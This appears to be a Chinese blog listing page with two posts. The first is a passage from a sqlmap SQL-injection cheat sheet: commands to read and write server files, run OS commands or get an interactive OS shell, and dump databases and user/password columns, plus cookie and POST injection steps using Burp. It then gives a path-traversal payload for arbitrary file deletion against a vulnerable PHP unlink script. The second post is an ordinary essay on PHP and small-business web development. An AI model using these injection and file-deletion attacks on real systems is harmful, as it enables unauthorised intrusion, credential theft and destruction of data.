--random-agent # 随机User-Agent sqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录 sqlmap -u "./index.php?id=1" --file-read="" # 读取文件 sqlmap -u "./index.php?id=1" --file-write="" # 写入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令 sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令 sqlmap -u "./index.php?id=1" --sql-query="" # 执行的SQL语句 sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie sqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本 sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延时1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延时3秒后注入 sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAF sqlmap -u "./index.php?id=1" --current-db # 查询当前数据库 sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名 sqlmap -u "./index.php?id=1" --users # 查询所有用户名 sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库 sqlmap -u "./index.php?id=1" --tables # 列出所有的表 sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dumpCookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注入点 sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns--dump --level 2 #猜内容POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.1.浏览器打开目标地址 http://www.xxx.com/index.php2.配置burp代理(127.0.0.1:8080) 准备拦截请求3.点击login表单的submit按钮,或者其他按钮均可4.这时候Burp会拦截到了我们的登录POST请求5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submitsqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"其他漏洞利用任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.<?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "当前路径是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) { echo "删除完成.."; } else { echo "删除失败.."; } } ?>
2023年12月25日
9 阅读
0 评论
0 点赞
2023-12-25
2023 聊聊PHP创业/赚钱那点事
2023 聊聊PHP创业/赚钱那点事第一件大事:就是俄罗斯和乌克兰打起来了;第二件大事:我国彻底放开了新冠防控,肺炎成了感冒;第三件大事:就是PHP中文网,正在成为"互联网创业者"的学习平台!1. PHP 仍然是 Web 项目开发首选语言不管你信与不信, PHP,至今仍然是对新人最友好的编程语言上世纪九十年代中期, 互联网开始萌芽, PHP, Java, JavaScript 几乎同时诞生最初都是为了互联网而生,但最终却走上了不同的发展道路Java, 成为了全球使用最广泛的通用型编程语言JavaScript(其实和 Java 无关),成为前端唯一,前后端通吃的脚本语言而 PHP 一直不忘初心,深耕 Web 开发无数互联网创业者的第一桶金,无数个创富神话,行业大佬背后, 都有 PHP 的默默支持PHP 完全免费开源, 完全由社区强力驱动(不受商业资本控制)全球上千万爱好者, 每天都在为它奉献代码,而这一切都是无偿的PHP 官方也保持着稳定的更新频率, 平均 6 个月就迭代一个版本目前,已经更新到了 PHP8.2, 目前仍在不断迭代中2. PHP 仍然是最适合新人互联网创业的首选语言每一位接触 Web 开发的,必然是从 HTML 开始可以将代码,优雅的直接嵌入到 HTML 中的, 目前就剩下 PHP用 PHP 编写动态页面,是那么的自然,流畅,和谐,以至于大家认为,就应该如此而 PHP 也不负众望, 众多新功能,语法糖,实现了"写得更少,而做得更多"无论是经典的"服务器端渲染"(SSR),还是流行的"前后端分离"(CSR)对于 PHP 来说,实现起来,几乎不费吹灰之力面向复杂应用,海量请求,极端场景,PHP 总是能提供了比其它语言更简单,更直接的解决方案哪怕,你是一名初学者, 也能翻翻手册, 快速上手3. 未来 10 年,互联网创业,仍然充满了大量创富机会不可否认, 有几年时间,PHP 在走下坡路这很正常, 任何事物的发展,都是螺旋式前进,不可能一直处于巅峰在互联网的"蛮荒"时代, 每一位"站长"都是从 PHP,学会了网站开发无论是学生,工人,白领,每一位怀有"互联网创业梦"的,都会用到 CMS而这些 CMS,几乎全是用 PHP 开发的, 包括我本人在内, 也曾经写过一个 CMS2023 年, 很多人感觉悲观众多互联网大厂裁员,降薪, 世界各地战争不断可是在有准备的人眼中, 这里面,却充满了机会从马斯克收购推特,海量裁员,到国内小米,京东,阿里,华为,腾讯的裁员,降薪让很多人感觉到了互联网的寒冬, 或者整个行业充满了不确定性但是, 你是否注意到了很多行业, 却在大量的招聘,加薪呢?任何事物, 总是具有二面性, 就像法官不能只问原告,不问被告有些 985,211 毕业生,也在抱怨找不到工作于是,就有人想当然的认为,现在大学生供过于求,找不到工作,行业不景气但是,对于一个几十人的小公司来说, 根本不需要 985,211 毕业生而这种小型化,低成本的办公模式, 永远是市场的主流可以预见, 随着 5G 普及,AI 和人工智能的发展,像成百上千人的大规模办公场景,必将消失小团队,工作室为主体的"个人创业"时代,必将到来,有可能比你想像的还要快2023 年, 很可能,就是个人互联网创业的元年4. 什么样的项目,适合个人互联网创业其实这个话题, 不管说什么, 都会被人喷所以,我说几个判断条件, 大家可以往上套第一, 自己做过,或者有所了解,或者有朋友在做第二, 这个项目,有成功案例或失败教训,供你参考第三,非常重要, 他的"试错成本",是你可以接受的我举个例子, 你想开个小公司或工作室, 接一些网站开发或小程序的单子首先, 你得有自己的开发平台, 当然这个平台不用自己写, 有现成的 CMS 产品第二,就是做好半年可能没有订单的准备, 这半年,产生的费用,你是否可以接受?第三,你做的这些项目中, 哪些是一锤子买卖, 哪些客户是可能第二年续费的,要搞清楚做个总结吧第一, 项目最好在 30 天内,并可以交付的第二, 至少 60%订金, 要做好收不到尾款的心理准备第三, 尽量选择能持续付费客户,以降低第二年的经营风险5. 我要学到什么程度, 就可以接单赚钱了这个问题好难回答呀根据我十几年教学经验, 结合一些学员的经历,简单聊一下第一: 前端这块, HTML,CSS 必须很熟悉, 至少掌握五种以上布局技术第二: 后端这块, 能自己书写一个小框架或 CMS,不是用它做项目,而是掌握工具原理第三: 至少掌握三种主流的 CMS 系统,像 wordpress,织梦,帝国等,做一些短平快项目第四: ThinkPHP, Laravel 至少会一个第五: Vue,jQuery 至少要会一个第六: 流行的 UI 组件工具,至少要掌握一到二个,例如 Element UI实际接单中, 客户可能会指定一个项目,要你模仿,所以要有极强的"仿站"能力注意, "模仿"不是"山寨"(尽管有时分不清, 这不重要)我们,就是要在"模仿"中创新, 在"山寨"中进步~~最后, 祝大家在 2023 年, 买房换车,实现个人创富!
2023年12月25日
12 阅读
0 评论
0 点赞
1
...
31
32
33
...
112